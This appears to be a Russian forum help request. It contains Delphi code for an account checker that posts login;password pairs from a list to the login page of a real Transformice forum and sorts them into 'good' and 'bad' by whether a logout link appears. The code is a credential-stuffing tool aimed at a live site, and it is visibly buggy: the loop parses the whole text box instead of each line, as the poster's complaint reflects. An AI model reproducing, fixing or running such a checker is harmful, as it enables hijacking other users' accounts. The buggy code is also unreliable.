[Ссылки могут видеть только зарегистрированные пользователи. ]
Отправляет валидный акк в bad
Код:
procedure TForm1.btn1Click(Sender: TObject);
var
i,y,s:Integer;
info,p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;
for i:=0 to Mmo1.Lines.Count-1 do
begin
y:=Pos(';', mmo1.Text);
info.add('login='+copy(Mmo1.Text, 1, y-1));
s:=length(mmo1.Text);
info.add('password='+copy(mmo1.Text, y+1, s));
p.Text:=idhtp1.Post('http://ru.cheese.formice.com/forum/login/login', info);
if pos('Выход', p.text)>0 then
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+ ' - ' + 'good');
end
else
begin
mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+ ' - ' + 'bad');
end;
end;
end;
procedure TForm1.btn2Click(Sender: TObject);
begin
mmo2.Lines.SaveToFile('log.txt');
end;
end.